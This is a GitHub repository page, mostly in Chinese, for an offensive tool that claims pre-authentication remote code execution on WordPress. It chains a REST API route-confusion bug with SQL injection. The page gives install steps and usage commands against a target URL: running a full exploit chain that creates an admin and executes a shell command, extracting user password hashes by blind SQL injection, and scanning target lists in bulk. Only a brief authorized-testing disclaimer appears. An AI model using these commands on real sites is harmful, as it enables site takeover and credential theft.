SentinelXofficial/sxwp2shell

GitHub: SentinelXofficial/sxwp2shell

sxwp2shell 是一款利用 WordPress REST API 路由混淆与 SQL 注入漏洞链实现 Pre-auth RCE 的安全测试工具。

Stars: 1 | Forks: 0

``` / ___/___ ____ / /_(_)___ ___ / / | |/ / \__ \/ _ \/ __ \/ __/ / __ \/ _ \/ / | / ___/ / __/ / / / /_/ / / / / __/ /___/ | /____/\___/_/ /_/\__/_/_/ /_/\___/_____/_/|_| ``` **sxwp2shell** — 利用 REST API batch-route confusion (CVE-2026-63030) + SQL injection (CVE-2026-60137) 实现 WordPress 的 Pre-auth RCE exploit。 `受影响版本:WP 6.9.0–6.9.4 / 7.0.0–7.0.1` ### 安装说明 ``` git clone https://github.com/SentinelXofficial/sxwp2shell cd sxwp2shell chmod +x sxwp2shell.py ``` Python 3.7+,仅使用标准库 — 无需 pip install。 ### 使用方法 | 命令 | 功能说明 | |---------|-------------| | `check ` | 检测版本、batch endpoint、route confusion 和 SQLi | | `exploit ` | 完整的 RCE 攻击链 (SQLi → 创建管理员 → 获取 shell) | | `read ` | Blind SQLi 数据提取 | | `scan ` | 从文件批量扫描目标并导出 CSV | ``` python3 sxwp2shell.py check https://target.com python3 sxwp2shell.py exploit https://target.com --cmd id python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users" python3 sxwp2shell.py scan targets.txt -o results.csv ``` ### 选项 ``` --cmd CMD Command to execute (default: id) --query QUERY Custom SQL query -k, --insecure Skip SSL verification --proxy PROXY HTTP proxy --timeout SEC Request timeout (default: 15) --delay SEC Delay between requests --agent AGENT Custom User-Agent --no-color Disable colored output -o, --output Save scan results to CSV ``` ### 免责声明 仅用于授权的安全测试。请阅读 `DISCLAIMER.md`。
标签:PNNL实验室, Ubuntu, 多线程, 无服务器架构